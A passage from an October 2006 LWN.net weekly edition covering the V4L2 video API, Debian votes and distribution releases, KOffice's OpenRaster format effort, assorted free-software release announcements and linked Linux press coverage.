application for V4L2. Since your editor's experience is strongest in
this area, this series will tend to emphasize the capture API, but
there is more to V4L2 than that.
- The video output interface allows applications to drive
peripherals which can provide video images - perhaps in the form of a
television signal - outside of the computer.
- A variant of the capture interface can be found in the video
overlay interface, whose job is to facilitate the direct display
of video data from a capture device. Video data moves directly from
the capture device to the display, without passing through the
system's CPU.
- The VBI interfaces provide access to data transmitted during
the video blanking interval. There are two of them, the "raw" and
"sliced" interfaces, which differ in the amount of processing of the
VBI data performed in hardware.
- The radio interface provides access to audio streams from AM
and FM tuner devices.
Other types of devices are possible. The V4L2 API has some stubs for
"codec" and "effect" devices, both of which perform transformations on
video data streams. Those areas have not yet been completely specified,
however, much less implemented. There are also the "teletext" and "radio
data system" interfaces currently implemented in the older V4L1 API; those
have not been moved to V4L2 and there do not appear to be any immediate
plans to do so.
Video devices differ from many others in the vast number of ways in which
they can be configured. As a result, much of a V4L2 driver implements code
which enables applications to discover a given device's capabilities and to
configure that device to operate in the desired manner. The V4L2 API
defines several dozen callbacks for the configuration of parameters like
tuner frequencies, windowing and cropping, frame rates, video compression,
image parameters (brightness, contrast, ...), video standards, video
formats, etc. Much of this series will be devoted to looking at how this
configuration process happens.
Then, there is the small task of actually performing I/O at video rates in
an efficient manner. The V4L2 API defines three different ways of moving
video data between user space and the peripheral, some of which can be on
the complex side. Separate articles will look at video I/O and the
video-buf layer which has been provided to handle common tasks.
Subsequent articles will appear every few weeks, and will be added to the
list below:
Comments (6 posted)
Patches and updates
Kernel trees
Core kernel code
Development tools
Device drivers
Documentation
Filesystems and block I/O
Memory management
Networking
Security-related
Miscellaneous
Page editor: Jonathan Corbet
Distributions
News and Editorials
Debian developers have no less than four issues to vote on this week. The
voting period for all of them closes at the end of the day, October 14,
2006. Hopefully these issues will soon be resolved, however we cannot be
certain because "further discussion" is an option on all of the ballots.
The General Resolution to clarify the scope and applicability of item 2 of
the Debian free software guidelines (DFSG) has gotten a second call for votes. The full text of this
resolution contains all the nitty gritty details, but basically this
one says that the DFSG applies to firmware as well as software.
The next GR (call for votes / full text) covers the
handling of source-less firmware in the Linux kernel. While progress has
been made since the Sarge release in terms of removing source-less/non-free
firmware from the main archive, there is still enough that it comes down to
a choice between removing all of it or releasing Etch on schedule. Since
it will not be possible to do both, this GR provides for the release of
Etch even with kernel firmware issues, or it could grant a special
exception to DFSG2 for firmware as long as required.
Those two votes are intertwined. If it is determined that the DFSG2 has a
narrow focus there will be fewer firmware issues to deal with. Even if the
DFSG2 is given a broad interpretation, the second GR makes it possible to
release Etch on schedule.
The next two GRs are also intertwined. In light of the Dunc-tank
controversy the Debian developers may now vote to recall the project leader or reaffirm support for the project leader.
Anthony Towns has released a caretaking
memo, delegating his DPL duties to various people at least until a decision
is reached. Presumably these people will continue on in case of a recall,
until a new leader is elected.
Once these issues are resolved we can get back to the Bug Squashing
Marathon, currently in progress.
Comments (1 posted)
New Releases
openSUSE 10.2 Alpha5 is out. "
We only have DVDs for i386 and x86-64
this time. They are available via ftp.opensuse.org and its mirrors.
Mini-ISOs for remote installation are available as well. So, there are
neither CDs nor deltas."
Full Story (comments: none)
Distribution News
The release date for Fedora Core 6 has been pushed back to
October 17. It seems that there are a few troublesome problems
needing to be fixed before the Fedora developers are ready to send this
release out into the wild. "
Your extra careful testing of rawhide
over the next few days would greatly be appreciated."
Full Story (comments: 8)
Mandriva is mobilizing its network of Linux User Groups (LUGs) to
coordinate a worldwide Installfest on October 21 2006.
"
Installations of Mandriva Linux One and Free will take place all
around the world, thanks to the Linux community. Major participating
locations will include the United States, China, Poland, Argentina and
France. Last year, Mandriva install fests gathered more than 1,500
participants in more than 60 cities in 20 countries such as the United
States, Argentina, China and Morocco. This major event was covered on TV,
radio and in the press."
Full Story (comments: none)
The release candidate freeze for Ubuntu 6.10 should be in effect now.
"
During this time, uploads should be made only for changes which are
critical for the release, and must be approved by the release team. As we
work to prepare the release, further information about these restrictions
may be announced."
Full Story (comments: none)
It seems that there are too many known release-critical bugs in the etch
distribution, scheduled to be released by the end of this year. So the
full freeze of this distribution will be delayed for an unspecified (but
intended to be short) period of time "
We haven't chosen a date yet, but you can still expect it to happen in
October or early November."
Full Story (comments: 6)
The next Debian bug squashing party will be in Munich on October 13 - 15,
2006.
Full Story (comments: none)
Distribution Newsletters
The
Fedora
Weekly News covers Fedora Core 6 release date slip, FC6 Pre-release
(Test4), Ohio Linux Fest 2006 Summary, One Laptop Update, Red Hat KDE
conference talk, High-tech social enterprise reaps free software's
benefits, and other topics.
Comments (none posted)
The
Gentoo
Weekly Newsletter for October 2, 2006 covers the availability of Gentoo
2006.1 at the Gentoo Store, openoffice.org template/clipart competition,
LinuxParty.sk pictures and several other topics.
Comments (none posted)
The Ubuntu Weekly Newsletter for September 30, 2006 covers the beta release
of Ubuntu/Kubuntu 6.10, a report from Akademy 2006, a winning entry for a
poster design competition, Universe Version Freeze, and more.
Full Story (comments: none)
The
DistroWatch
Weekly for October 9, 2006. "
With the release of Mandriva Linux
2007 last week it would seem that the once highly popular desktop Linux
distribution has finally closed a shaky chapter behind itself and decided
to return to what it does best - proudly produce a great desktop Linux
system for the world. This issue of DistroWatch Weekly focuses on Mandriva
Linux, its recent past and new products. But Mandriva 2007 wasn't the only
major distribution release last week; the fans of Slackware Linux also had
a reason to celebrate as version 11.0 of the world's oldest surviving Linux
distribution finally hit the download mirrors, promptly followed by a
number of Slackware derivatives for all kinds of purposes and processor
architectures. Also in this issue: we'll take a quick look at the new
VectorLinux 5.8, summarise the week in the troubled world of Debian
GNU/Linux, and point our readers to a good comparison between openSUSE and
SUSE Linux Enterprise Desktop."
Comments (none posted)
Package updates
Updates for
Fedora Core 5:
frysk
(new upstream version),
compat-gcc-32 (bug
fixes),
xsane (bug fix),
perl-Archive-Tar (upstream version 1.30),
tar (bug fix),
tzdata (upstream version 2006m).
Comments (none posted)
Updates for
Mandriva Linux 2007.0 and Corporate Server 4.0:
cups (bug fixes).
Updates for Mandriva Linux 2006.0: glibc (bug fixes).
Comments (none posted)
Updates for
rPath Linux 1:
conary,
conary-build, conary-repository, epdb (Conary 1.0.33 maintenance
release),
ntp (bug fixes),
spamassassin (updated),
SDL (improved arts support),
dovecot, am-utils, krb5, krb5-workstation,
krb5-services, krb5-server, krb5-test, mysql, mysql-server, mysql-bench,
postgresql, postgresql-server, vsftpd, ypserv, microcode_ctl, httpd,
mod_ssl, nfs-utils (start services by default unless they are currently
disabled).
Comments (none posted)
Updates for
Ubuntu 6.06 LTS:
readahead-list
1:0.20050517.0220-0ubuntu5~dapper1,
cpio
2.6-10ubuntu0.2,
cupsys
1.2.2-0ubuntu0.6.06.1,
hal
0.5.7-1ubuntu18.1,
apt-mirror
0.4.4-4ubuntu1~dapper1,
brasero
0.4.4-0ubuntu1~dapper1. There are also 94 language pack updates
available which have not been processed due to time constraints.
Comments (none posted)
Newsletters and articles of interest
DesktopLinux
covers the
release of Foresight 0.9.8.2. "
Foresight Linux, the distribution for
those who like living on GNOME's cutting edge, has just been updated. One
of the distro's lead developers, Antonio Meireles, announced this week that
the latest Foresight 0.9.8.2 is now available. The release includes "the
usual bug fixes and package updates, including the latest stable gnome
(2.16.1) package set and an the latest Google Earth release, a revamped
X.org subsystem and a new default kernel (2.16.18)," according to
Meireles."
Comments (none posted)
Linux.com
covers
Debian's Iceweasel browser. "
Debian plans to release its newest
version, Etch, in December, and wants Mozilla's Firefox Web browser to be
part of the distribution. Mozilla, however, told Debian it couldn't release
the software without its accompanying artwork. Now a legal expert says that
the existing distinctions between copyright and trademark laws should have
prevented this from becoming an issue in the first place."
Comments (none posted)
Debian Admin
looks
at installing rpm files with alien. "
Some time you might find
some applications are having only .rpm files but you want a .deb package
for your debian,Ubuntu and other debian derived ditributions.If you can't
find .deb debian package in any of the debian,ubuntu repositories or
elsewhere, you can use the alien package converter to install the .rpm
file."
Comments (1 posted)
Dave Chappelle
looks at
Novell SUSE Linux 10 Enterprise Desktop. "
Novell CTO Ross Chevalier
is traveling the continent giving demonstrations of Novell SUSE Linux 10
Enterprise Desktop. When Novell decided to deliver its version of the best
operating system, it first had to learn what users wanted in an OS. To
accomplish that objective, Novell started betterdesktop.org."
Comments (none posted)
DesktopLinux
picks
three favorite easy-to-use "Windows replacement" Linux distributions.
"
There are many users, some with far less experience than he has, who
are sick to death of Windows and the constant need to keep it, and
third-party security software, up to date to even have a chance of having a
healthy PC. But, at the same time, many of these users aren't interested
in learning Linux. They just want an operating system that will let them
get email, browse the Web, and run a few simple office
applications." Their top three:
MEPIS Linux,
Xandros Linux and
Freespire.
Comments (none posted)
Distribution reviews
DesktopLinux
takes a look
at
easys GNU/Linux version
3.0. "
Marcus Moeller has announced the release of version 3.0 of
Easys GNU/Linux (formerly PocketLinux), a single-CD Slackware-based
distro. The new release boasts a 2.6.17.13 Linux kernel and "full" KDE
3.5.4 desktop instead of the "KDE light" supplied in prior
versions."
Comments (none posted)
Linux-Watch
takes a look
at
UbuntuCE,
Ichthux and other
Christian-themed distributions. "
Six-years ago, there was a hoax Linux: Jesux, the Linux
distribution for Christians. That was a joke. Today, it's real. In fact,
there are several Christian Linuxes. Perhaps the most well-known of these
is UbuntuCE (Christian Edition), which is built on top of Ubuntu 6.06.1
LTS."
Comments (1 posted)
eWeek
reviews
Mandriva Corporate Server 4. "
Mandriva's Mandriva Corporate Server 4
is a decent Linux server operating system that we found somewhat marred by
a virtualization technology reach that exceeds its grasp--CS 4's advertised
inclusion of VMware's VMware, OpenVZ and Xen didn't meet our
expectations. We're all for broadened server application deployment
options, but CS 4 could use more integration work."
Comments (none posted)
Linux.com
reviews
Turbolinux 11 "Fuji". "
Turbolinux has been around since
1992. Everyone knows about this commercial distro, but for some reason it
never became as popular as SUSE or Mandriva. Turbolinux 11, code-named
"Fuji," was released recently and I decided it was time to see if
Turbolinux measures up to other Linux distros. The Fuji release has some
interesting features, but I found the release to be a disappointment
overall."
Comments (none posted)
Page editor: Rebecca Sobol
Development
October 10, 2006
This article was contributed by Tom Chance.
KOffice has seen a huge surge in exciting feature development in the past year, putting it in the same league as free software giants such as OpenOffice.org and The GIMP, and even surpassing them in places. With version 1.6 due out this Sunday (October 15) it's timely that
Krita,
KOffice's painting application, is now leading an effort to develop a
fairly boring feature, an open graphics file format.
Boring, but potentially very useful. In the first place we currently only have The GIMP's
XCF format,
which fulfills some of the needs shared by free raster graphics applications but effectively serializes the internal structures of the application in one binary blob. Then there is
TIFF, a format so horrendously complicated and unstandardized that nobody seems to want to fully implement it. Having a format that caters for everybody's needs, and that allows raster graphics to be exchanged between applications, is obviously a good thing.
While there was some controversy surrounding the decision to make yet another format, rather than using the XCF2 specification under development, some GIMP developers have begun working on OpenRaster. It is now being drafted within the CREATE initiative, part of freedesktop.org. Inge Wallin, KOffice's marketing lead, told LWN that they also plan to invite Adobe
and Corel to collaborate on the specification.
The second major strength of OpenRaster is that it fits nicely into the OpenDocument craze, adding raster graphics to the range of document types already supported. OpenDocument gives developers a lot of their needs for free, such as wrapping up metadata, settings and bitmaps in XML. At aKademy, the KDE community's annual developer conference, the KOffice developers got a chance to discuss lessons they can learn from
SVG
with a member of the audience who happened, according to Wallin, to be something of an expert on the subject. SVG, of course, already implements similar features in XML and is well-structured. Using OpenDocument as a basis means a lot of the technical work is
already done for them.
But more importantly, by piggybacking on the initiative of OpenDocument in government and industry circles, OpenRaster will gain a far wider exposure than any format that was developed primarily within the free software community. The OpenDocument movement also wins in three ways. First it gains a proper raster format. Second, this format demonstrates the flexibility and extensibility of the specifications. Finally, because the effort is being led by KOffice developers, with collaboration from The GIMP developers amongst others, it helps overcome the impression that OpenDocument is basically OpenOffice.org's document format suite, rather than a range of well supported exchange formats.
In fact, OpenDocument has been the default file format for KOffice since the release of version 1.5 in April, 2006. The office suite has been developing much faster than OpenOffice.org, and KFormula sports the most complete implementation of OpenDocument and MathML thanks to a Google Summer of Code project.
It's not just graphics where KOffice is breaking new ground, either. The developers of Kexi, a free competitor for Microsoft Access, Filemaker and Oracle Forms, told LWN that they are in the early
stages of developing an OpenDocument specification for databases. The rough plan is to develop an XML exchange format that may be agnostic about the storage layer, or may use a widely supported technology such as SQLite.
So what does the future hold? According to Boudewijn Rempt, who is leading the OpenRaster initiative, the first complete specification should be released in a couple of months. Once that is more or less ready, the Krita developers will start implementing it. If KDE 4 is out in time, and all goes according to plan with KOffice 2, the format may be the default in Krita 2. Otherwise it will remain a reference
implementation, awaiting full integration after Krita 2.0 is released.
As for its status as an OpenDocumentFormat, version 1.1 of the ODF specification has just come out. Version 1.2, which will be put through the ISO process again, is expected in early 2008, so it is hoped that OpenRaster and perhaps even the database format can be part of the specification by then. Artists will have good reason to expect developers to implement support in major free applications if it does, and we may even see the industry giants coming on board within that timescale. OpenDocument moves one step closer to format predominance.
Comments (1 posted)
System Applications
Audio Projects
Version 0.102.20 of the
JACK
audio connection kit is out.
"
Now with experimental MIDI support!" See the
release notes for more details.
Comments (none posted)
Database Software
Version 5.0.26 of the MySQL DBMS is available.
"
This is a bugfix release for the current production release family."
Full Story (comments: none)
Version 3.3.8 of
SQLite,
a lightweight DBMS, is available.
"
Version 3.3.8 adds support for full-text search using the FTS1 module. There are also minor bug fixes. Upgrade only if you want to try out the new full-text search capabilities or if you are having problems with 3.3.7."
Comments (none posted)
LDAP Software
The Apache Software Foundation has
announced the availability of ApacheDS 1.0, a Java-based embeddable
LDAP server.
"
Aiming to build an enterprise directory server platform, the Apache
Directory Project created ApacheDS 1.0 as an LDAPv3 server with the ability
to plug in other protocol modules. ApacheDS 1.0 contains other Internet
protocol services such as DNS, DHCP, Change Password, and Kerberos, which
store their records within a common store and allow access to that data
through LDAP. ApacheDS 1.0 enables the pluggable services to back their
data within the Apache Directory Server's backing stores without any
network latency or going through the LDAP line protocol."
Comments (none posted)
Libraries
Version 1.1 RC1 of libX11 has been announced.
"
This release includes the Xlib/XCB work, which uses XCB as the Xlib
transport layer, and allows a client to use both Xlib and XCB on the
same connection. This allows clients to transition from Xlib to XCB
incrementally."
Full Story (comments: 3)
Release candidate 2 of XCB 1.0 (xcb-proto and libxcb) is out.
"
We have provided this second candidate release to allow for more widespread
review and testing before XCB 1.0. As of version 1.0, libxcb will
provide a stable API and ABI; future changes will consist only of
additions, and applications compiled against XCB 1.0 or newer will work
with all future versions of XCB. Barring discovery of serious issues
with the API, we do not anticipate any API changes between this release
and the 1.0 release.
We would greatly appreciate API review in this final release candidate period."
Full Story (comments: none)
Mail Software
Version 3.1.6 of the Apache SpamAssassin email filter is available.
"
3.1.6 includes a large number of bug fixes and documentation updates."
Full Story (comments: none)
Version 3.1.7 of Apache SpamAssassin has been announced.
"
3.1.7 is a "quick-fix" release; it contains only a fix for one bug,
introduced accidentally in 3.1.6".
Full Story (comments: none)
Networking Tools
Version 1.2.3r2 of
bartlby
is out with minor improvements.
"
Bartlby is a network and system monitor, completely written in C, to provide a scalable framework with the ability to monitor networks of various sizes. It consists of a core daemon, several plugins, and a Web GUI (PHP extension). The core daemon checks (over active/passive TCP) services/hosts and notifies users in case of critical service conditions (mail, SMS, ICQ, and custom triggers are supported). Bartlby provides an open plugin interface to give every administrator an easy to use option to extend the plugin base, and a fully customizable GUI (written in PHP using a C extension). Nearby everything can be controlled via an XML interface."
Comments (none posted)
Printing
Version 0.0.3 of JASmine, a page accounting system for the for CUPS
print system, is out.
"
Released on October 3, 2006, it features server stats, bug corrections and many improvements. Read the
release notes."
Comments (none posted)
Security
Version 1.9.92 of GnuPG, a free implementation of the OpenPGP standard,
is out.
"
We are pleased to announce the availability of GnuPG 1.9.92 - one of
the last steps towards a 2.0 release. The 1.9 branch of GnuPG
features the OpenPGP as well as the S/MIME protocol. You should
consider using GnuPG 1.9 if you want to use S/MIME. The included
GPG-AGENT is also helpful when using the stable GPG version 1.4 or if
you want to use its ssh-agent replacement feature (including smart
card support).
Note, that this version is still in beta state. The final release of
GnuPG 2.0 is scheduled for November."
Full Story (comments: none)
Web Site Development
Version 1.0.0 of Featured Photo
is out.
"
Featured Photo is a module that allows you to display "featured photos" on the homepage of your phpWebSite. This release requires phpWebSite 1.0.x.
The new 1.0.0 release was completely rewritten for phpWebSite 1.0.x. Because of this, compatibility with phpWebSite 0.10.x was lost. (0.10.x users can still download Featured Photo 0.4.0).
New in this release is the ability to add photo blocks to more than just the homepage. Each page could have its own featured photo. In addition, "click to enlarge" is finally implemented."
Comments (none posted)
Version 1.8 beta 2 of the Midgard content management system is
available.
"
The Midgard Project has released the second
beta release version for the upcoming 1.8 stable branch of the
Midgard Open Source Content Management System.
Midgard's 1.8 branch focuses on improved stability for Midgard2 technology
preview features introduced in 1.7 branch."
Full Story (comments: none)
Apache Software Foundation has
announced the release of the Struts 2.0.1 development build.
"
Formerly known as WebWork 2, Struts 2 was created after the independent
developer community, WebWork, and the Apache Struts Project joined forces
in December 2005.
Building on the success of Struts 1, the de-facto Open Source standard
framework for creating Java-based Web applications, Struts 2 bridges
existing standards to easily create and maintain enterprise-grade
applications."
Comments (none posted)
Desktop Applications
Audio Applications
Version 2.0 beta 5 of Ardour, a multi-track audio editor,
has been announced.
"
This release features a huge number of improvements and fixes since the last beta."
Comments (none posted)
Calendar Software
Version 0.3 of Mozilla Sunbird and Lightning have been announced.
"
The Mozilla Calendar Project is please to announce the release of
Sunbird and Lightning 0.3.
Thanks to the hard work of our localizers, both Sunbird and Lightning
are available immediately in 17 different locales."
Full Story (comments: none)
Desktop Environments
Version 2.16.1 of the GNOME desktop environment has been released.
"
This is the first
release in a series of point releases for the 2.16 branch.
Come and see all the bug fixing, all the new translations and all the
updated documentation brought to you by the wonderful team of GNOME
contributors! While development has started on the GNOME 2.17/2.18
road, work on the stable branch continues to make it even more solid."
Full Story (comments: none)
Version 2.16.1 of GARNOME, the bleeding-edge GNOME distribution, is out.
"
This release
incorporates the GNOME 2.16.1 Desktop and Developer Platform, fine-tuned
and updated with love by the GARNOME Team.
As usual it includes updates and fixes after the official GNOME freeze,
together with a host of third-party GNOME packages, Bindings and the
Mono(tm) Platform -- this is the second release of the current stable
GNOME branch, ironing out yet-more bugs, hopefully adding yet-more
stability and ships with the latest and greatest stable releases."
Full Story (comments: none)
The following new GNOME software has been announced this week:
You can find more new GNOME software releases at
gnomefiles.org.
Comments (none posted)
KDE 3.5.5 is out. This is a maintenance release, but it also includes an
upgraded version of Kopete, various improvements to KHTML, and some
additional translations.
Full Story (comments: none)
The following new KDE software has been announced this week:
You can find more new KDE software releases at
kde-apps.org.
Comments (none posted)
The October 8, 2006 edition of the
KDE Commit-Digest
has been
announced.
"
In this week's KDE Commit-Digest: KBoard, a game canvas, gets several new
chess-based themes, whilst KSokoban gets many new levels. KPhotoAlbum imports
the winning entry from its Splashscreen Contest. Krazy and apidox (parts of
the EBN test suite) move from playground into the kdesdk module. KBlog, a
library to interface with various blogs, is imported into the PIM playground
in KDE SVN. Work begins on a GStreamer backend for Phonon. More work on Yahoo
Chatroom support in Kopete. Kexi Query Designer supports data sorting in
design and SQL view. Painting experiments with Chinese brushes in Krita."
Comments (none posted)
OSDL has
announced the "highly anticipated general release" of Portland 1.0 - a set of low-level interfaces intended to be shared between multiple free desktop systems.
"
Portland 1.0 includes a set of command line tools designed to help
Independent Software Vendors (ISVs) install and integrate their
applications in the major Linux desktop environments. The programming
interfaces, built to specifications established by freedesktop.org, provide
developers with an easy method for executing the most common installation
and integration tasks."
See
the project page for more information.
Comments (none posted)
Electronics
The
OpenCollector
site lists three new electronic applications:
asco 0.4.5 - a SPICE circuit optimizer, OpenPCD 0.4 - a 13,56MHz RFID reader,
and eispice 0.4 - a ground-up re-write of the Berkley Spice 3
Simulation engine.
Comments (none posted)
Financial Applications
Version 2.0.2 of the GnuCash financial application and version
2.0.1 of GnuCash Docs have been released.
"
Personal and small business accounting in GNU/Linux will be easier and
better after today's release of GnuCash 2.0.2.
This release of the free, open source accounting program improves on the
generational advances in the last version. GnuCash 2.0 is based on
state-of-the-art gtk2 GUI technology."
Full Story (comments: none)
Games
A
Meeting Summary has been posted for the October 7, 2006
WorldForge game project meeting.
"
We had a meeting again this Saturday, doing a status check and looking at the next steps to take."
Comments (none posted)
Music Applications
Version 0.2.2 of
Dino,
a a pattern-based MIDI sequencer, is available.
"
This is only a bugfix release. 0.2.1 did not compile with more recent versions of gtkmm and GCC (I'm not sure which one of them causes it), this release fixes that."
Comments (none posted)
Web Browsers
MozillaZine
has announced the availability of Mozilla Firefox 2 Release Candidate 2.
See the
release notes for more information.
Comments (none posted)
Miscellaneous
Version 1.0 of
ANNA
is available.
"
ANNA: (Artificial Neural Network Architecture) is a Back propagation neural network class developed thinking in a good matching class to the FLTK. The distribution include the source code and a demo which should work on Linux systems. The structure is very flexible and you can change in a simple way the number of inputs, number of hidden layers, number of neurons per layer and the outputs. There is included a nice Structure editor, where you can visualise the neuronal network structure."
Comments (none posted)
Version 0.8 of demexp is available with new features, translation work
and bug fixes.
"
demexp is an electronic voting system for wide
scale direct democracy. demexp is developed mainly to support the
democractic experience project,
but can be used in other contexts (communities, firms, ...)."
Full Story (comments: none)
The
Nepomuk project
has been announced.
"
Nepomuk is an european research project which intends to create
the "Social Semantic Desktop", a comprehensive solution methods, data
structures, and a set of tools for extending the personal computer into a
collaborative environment, which improves the state of art in online
collaboration and personal data management and augments the intellect of
people by providing and organizing information created by single or group
efforts.
Thus, the Nepomuk project intends to provide the basis for implementations of
the idea of the "Social Semantic Desktop"."
Full Story (comments: none)
Languages and Tools
BASIC
Version 0.3 of KidBASIC
has been announced.
"
KidBASIC is an easy to use version of BASIC designed to teach young children the basics of computer programming. It has a built-in graphics mode which lets them draw pictures on screen in minutes, and a set of detailed, easy-to-follow tutorials that introduce programming concepts through fun exercises.
Version 0.3 eliminates the line-numbering syntax of previous versions, replacing it with labels. Performance has also been increased slightly. Linux source tarballs are now available."
Comments (1 posted)
Caml
The October 10, 2006 edition of the Caml Weekly News
is out with new Caml language articles.
Topics include: Bindlib 3.0, float rounding, Memoization, Ancient module,
and ocamlopt under win32.
Full Story (comments: none)
Haskell
The October 3, 2006 edition of the
Haskell Weekly News
is online.
"
Developments this week include Lennart Kolmodin's new inotify bindings
for Haskell, work begins on Spanish translations of Haskell literature,
and new versions of Darcs and Cabal have been tagged."
Comments (none posted)
Java
Version 3.8 of PMD, a Java source code analyzer,
has been released.
"
PMD 3.8 has four fine new rules: BrokenNullCheck (by Wouter Zelle), AvoidRethrowingException (by George Thomas), and UnnecessaryWrapperObjectCreation and UselessStringValueOf, both written by Xavier Le Vourch. There are a slew of bugfixes and improvements to various rules".
Comments (none posted)
Version 3.4 of YALE, a Java environment for machine learning and data
mining,
is available.
"
Beside other major improvements and several
bugfixes this version also contain a new macro
system and provide furtherly improved plotting
techniques."
Comments (none posted)
Sunil Patil
discusses Java content repositories on O'Reilly.
"
You might have heard of JSR-170, but what is a content repository, and what
can you do with it? Well, do you want to manage documents with versioning,
search, access control, and more? Content repositories offer these features,
and JSR-170 codifies them into a single API. Sunil Patil shows how to use the
reference implementation--Apache Jackrabbit--to create a blogging application."
Comments (none posted)
Lisp
Version 2.40 of GNU CLISP, a Common Lisp implementation, is out.
"
This version provides
new configuration and build options, new socket functions, improved
debugging information, and the usual bug fixes."
Full Story (comments: none)
Perl
The October 1-7, 2006 edition of the
Weekly Perl 6 mailing list summary has been published.
Take a look for the latest Perl 6 developments.
Comments (none posted)
PHP
Stable version 1.2.4 of KCAPTCHA
has been announced.
"
KCAPTCHA provides CAPTCHA (a visual human validation tool) with font distortion. It requires no PHP font libraries (only GD). "
Comments (1 posted)
Python
Version 1.1.6 beta 2 of the
Python Imaging Library, a collection of image processing utilities,
is out with new features and bug fixes.
See the
changes
document for details.
Comments (none posted)
The python-dev Summary for August 1-15, 2006 is out with coverage of the
python-dev mailing list.
Full Story (comments: none)
The October 10, 2006 edition of Dr. Dobb's Python-URL! is online with
a new collection of Python article links.
Full Story (comments: none)
Tcl/Tk
The October 10, 2006 edition of Dr. Dobb's Tcl-URL! is online with new
Tcl/Tk articles and resources.
Full Story (comments: none)
Miscellaneous
Stable version 1.0 of Cloak
has been announced.
"
Cloak (from Comment Locator) is a source code comment extraction and archiving utility. It has many potential uses, but the initial intent was the indexing and searching of comments in code."
Comments (none posted)
Page editor: Forrest Cook
Linux in the news
Recommended Reading
ZDNet
looks at
the new
Google Code Search
site.
"
Google is taking its search expertise to one of its favorite audiences: software developers.
The company on Thursday launched a Web site, Google Code Search, which the company says will let programmers search billions of lines of code for tips on how to write their own software.
The service, conceived by the Google Labs early technology group, will crawl publicly available code, most of which is made available through open-source projects. The search and indexing covers code on Web pages and code that resides in compressed files, said Tom Stocky, a product manager at Google."
Comments (23 posted)
The Jem Report has published
an article on
the OLPC/NDA issue featuring interviews with a number of people,
including Richard Stallman: "
I have never signed an NDA for generally
useful technical information, and I don't want to start now. On the other
hand, I can see how, since it eliminates a greater wrong, it can be
justified in this case. It is an unfortunate example, but it could also
eliminate the problem."
Comments (22 posted)
Trade Shows and Conferences
Linux.com
covers the Ohio LinuxFest 2006.
"
More than 1,000 people turned out on Saturday for the Ohio LinuxFest 2006 at the Greater Columbus Convention Center (GCCC) in downtown Columbus, Ohio. The LinuxFest featured big-name speakers such as Jon 'maddog' Hall, Chris DiBona, and Jeff Waugh, and live penguins from the Columbus Zoo."
Comments (none posted)
The SCO Problem
Time for an update from SCOland: Groklaw has
the declaration from Lawrence Goldfarb, one of the founders of BayStar. "
Sometime in 2003, I was approached by Richard Emerson (Microsoft's senior vice president for corporate development and strategy) about investing in SCO, a company about which I knew little or nothing at the time. Mr. Emerson stated that Microsoft wished to promote SCO and its pending lawsuit about IBM and the Linux operating system. But Microsoft did not want to be seen as attacking IBM or Linux. For that reason, Microsoft wanted to further its interest through independent investors like BayStar." The bad news, from SCO's point of view, is that, according to this testimony, IBM had nothing to do with BayStar's subsequent decision to bail out of the SCO investment.
Comments (3 posted)
Companies
ZDNet
takes a
look at Canonical's business model. "
If you want to understand
Canonical's Linux business strategy, think Red Hat 2000. Canonical is the
65-employee start-up behind a popular version of Linux called "Ubuntu". The
company is betting that it can win a place in the market using a strategy
that dominant Linux seller Red Hat has dropped."
Comments (26 posted)
Linux-Watch
covers
Red Hat's hiring of Mark Enzweiler.
"
Everyone in the channel business knows that Red Hat Inc. has never done all that well by its system integrator, value-added reseller, and solution provider partners. Things are about to change, however, with the hiring of Mark Enzweiler as its VP North American Channel Sales. Enzweiler is extremely well regarded in channel circles."
Comments (2 posted)
IT Manager's Journal
covers
Terra Soft Solutions. "
The announcement last year that Apple was
moving to Intel-based hardware might have seemed like a fatal blow to Terra
Soft Solutions, a company best-known for the Yellow Dog Linux
distro. However, Kai Staats, CEO of Terra Soft, says that the move may be a
blessing in disguise. The company has moved on to bigger and better
ventures -- including construction of the first Cell-based supercomputing
cluster."
Comments (none posted)
Legal
Linux.com
covers some
allegations of GPL violations. "
In July, Konsole author Lars Doelle
posted a note on the MotorolaFans.com forum about two programs that appear
to violate the GNU General Public License (GPL), under which Konsole is
licensed. GPL violations are nothing new, but in this case Doelle has not
only put the violators on notice, he's also telling users to stop using the
offending programs as well."
Comments (22 posted)
Resources
Linux.com
uses MP3FS
to play FLAC files on an MP3 player. "
I don't know if the folks at
Xiph.org can live day-in and day-out using only the free Vorbis, FLAC,
Speex, and Theora codecs, but the rest of us routinely run into consumer
devices that don't recognize and support them. But with a little help from
Filesystem in Userspace (FUSE) and MP3FS, you cross one incompatibility off
that list. MP3FS lets you mount a directory hierarchy of FLAC audio files
and transparently present them as MP3s to software and hardware devices
alike."
Comments (9 posted)
O'ReillyNet
covers
the use of fwbuilder on FreeBSD. "
Before creating the rules you need
within fwbuilder to share your internet connection, make sure that your
network is properly set up. The computer running fwbuilder needs to have a
NIC, which it uses to communicate with the other computers in your home
network. This NIC is separate from the hardware you use to communicate with
your ISP; that might also be a NIC (in the case of a cable or DSL
connection) or it might be a modem (in the case of a dial-up PPP
connection). Make sure the NIC you use to communicate with your other
computers is plugged into the same hub or switch as your other
computers."
Comments (none posted)
Rick Lehrbaum
tests
seven single-CD Linux distributions on an old IBM ThinkPad laptop.
"
Like most companies, my employer has a stash of old, "obsolete" PCs and laptops that won't run the latest versions of Windows worth a darn. Naturally, this represents a great source of systems for testing the latest Linux distributions.
I thought it would be interesting to find out which modern Linux distro made the best OS for a supposedly "obsolete" old laptop."
Comments (15 posted)
Linux.com
looks at
xjobs. "
Ever feel like you're not getting the most out of your
multiprocessor machine? The xjobs utility allows you to schedule several
processes to run simultaneously to make the most of your system's
resources. Xjobs takes a list of arguments from standard input and passes
them to a utility, or takes a list of commands from a script, and then runs
the jobs in parallel. If you have a multiprocessor machine, xjobs will
automatically run one job per processor by default."
Comments (8 posted)
developerWorks has put up
a
survey of source code management systems which run on Linux.
"
Arch is a specification for a decentralized SCM that offers many
different implementations. These include ArX, Bazaar, GNU arch, and
Larch. Arch not only operates as a decentralized SCM, but also uses the
changeset model. The Arch SCM is a
popular method for open source development because developers can develop
on separate repositories with full source control. This is because the
distributed repositories are actual repositories complete with revision
control. You can create a patch from changes in the local repository to be
used by an upstream developer. This is the real power of the decentralized
model." (Thanks to Jake Edge).
Comments (10 posted)
Reviews
Linux.com
reviews the
book
ImageMagick Tricks from Packt Publishing.
"
Command-line utilities can be powerful, but it takes some doing to
make a typical desktop user work in the shell. The image manipulation
program ImageMagick is one command-line program that gives users a good
reason to use the CLI. Now Packt Publishing has released ImageMagick
Tricks, a book that covers ImageMagick from the ground up. If you've never
used ImageMagick before, this book is a good starting place."
Comments (1 posted)
Linux.com
plays with
Neuro-Evolving Robotic Operatives (N.E.R.O.). "
If you've ever been
frustrated with the artificial intelligence (AI) in video games, then you
